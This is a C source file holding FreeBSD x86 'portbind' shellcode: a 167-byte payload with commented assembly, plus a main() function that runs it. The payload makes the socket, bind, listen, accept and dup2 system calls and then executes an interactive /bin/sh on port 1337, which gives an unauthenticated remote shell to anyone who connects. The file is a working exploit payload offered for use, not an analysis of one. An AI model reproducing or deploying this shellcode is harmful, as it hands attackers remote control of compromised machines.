94 lines
No EOL
2.9 KiB
C
94 lines
No EOL
2.9 KiB
C
/*-
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* Copyright (c) 2009, Sofian Brabez <sbz@6dev.net>
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*
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* freebsd-x86-portbind.c - FreeBSD x86 portbind a shell (/bin/sh) on
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1337 (\x05\x39) 167 bytes
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*/
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const char shellcode[] =
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"\x6a\x00" // push $0x0
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"\x6a\x01" // push $0x1
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"\x6a\x02" // push $0x2
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"\x50" // push %eax
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"\x6a\x61" // push $0x61
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"\x58" // pop %eax
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"\xcd\x80" // int $0x80
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"\x50" // push %eax
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"\x6a\x00" // push $0x0
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"\x6a\x00" // push $0x0
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"\x6a\x00" // push $0x0
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"\x6a\x00" // push $0x0
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"\x68\x10\x02\x05\x39" // push $0x39050210
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"\x89\xe0" // mov %esp,%eax
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"\x6a\x10" // push $0x10
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"\x50" // push %eax
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"\xff\x74\x24\x1c" // pushl 0x1c(%esp)
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"\x50" // push %eax
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"\x6a\x68" // push $0x68
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"\x58" // pop $eax
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"\xcd\x80" // int $0x80
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"\x6a\x01" // push $0x1
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"\xff\x74\x24\x28" // pushl 0x28(%esp)
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"\x50" // push %eax
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"\x6a\x6a" // push $0x6a
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"\x58" // pop $eax
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"\xcd\x80" // int $0x80
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"\x83\xec\x10" // sub $0x10,$esp
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"\x6a\x10" // push $0x10
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"\x8d\x44\x24\x04" // lea 0x4(%esp),%eax
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"\x89\xe1" // mov %esp,%ecx
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"\x51" // push %ecx
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"\x50" // push %eax
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"\xff\x74\x24\x4c" // pushl 0x4c(%esp)
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"\x50" // push %eax
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"\x6a\x1e" // push %0x1e
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"\x58" // pop %eax
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"\xcd\x80" // int $0x80
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"\x50" // push %eax
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"\xff\x74\x24\x58" // pushl 0x58(%esp)
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"\x50" // push %eax
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"\x6a\x06" // push $0x6
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"\x58" // pop %eax
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"\xcd\x80" // int $0x80
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"\x6a\x00" // push $0x0
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"\xff\x74\x24\x0c" // pushl 0xc(%esp)
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"\x50" // push %eax
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"\x6a\x5a" // push $0x5a
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"\x58" // pop %eax
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"\xcd\x80" // int $0x80
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"\x6a\x01" // push $0x1
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"\xff\x74\x24\x18" // pushl 0x18(%esp)
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"\x50" // push %eax
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"\x6a\x5a" // push $0x5a
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"\x58" // pop %eax
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"\xcd\x80" // int $0x80
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"\x6a\x02" // push $0x2
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"\xff\x74\x24\x24" // pushl 0x24(%esp)
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"\x50" // push %eax
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"\x6a\x5a" // push $0x5a
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"\x58" // pop %eax
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"\xcd\x80" // int $0x80
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"\x68\x73\x68\x00\x00" // push $0x6873
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"\x89\xe0" // mov %esp,%eax
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"\x68\x2d\x69\x00\x00" // push $0x692d
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"\x89\xe1" // mov %esp,%ecx
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"\x6a\x00" // push $0x0
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"\x51" // push %ecx
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"\x50" // push %eax
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"\x68\x2f\x73\x68\x00" // push $0x68732f
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"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
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"\x89\xe0" // mov %esp,%eax
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"\x8d\x4c\x24\x08" // lea 0x8(%esp),%ecx
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"\x6a\x00" // push $0x0
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"\x51" // push %ecx
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"\x50" // push %eax
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"\x50" // push %eax
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"\x6a\x3b" // push $0x3b
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"\x58" // pop %eax
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"\xcd\x80"; // int $0x80
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int main(void) {
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void (*egg)() = (void *)shellcode;
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return (*(int(*)())shellcode)();
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} |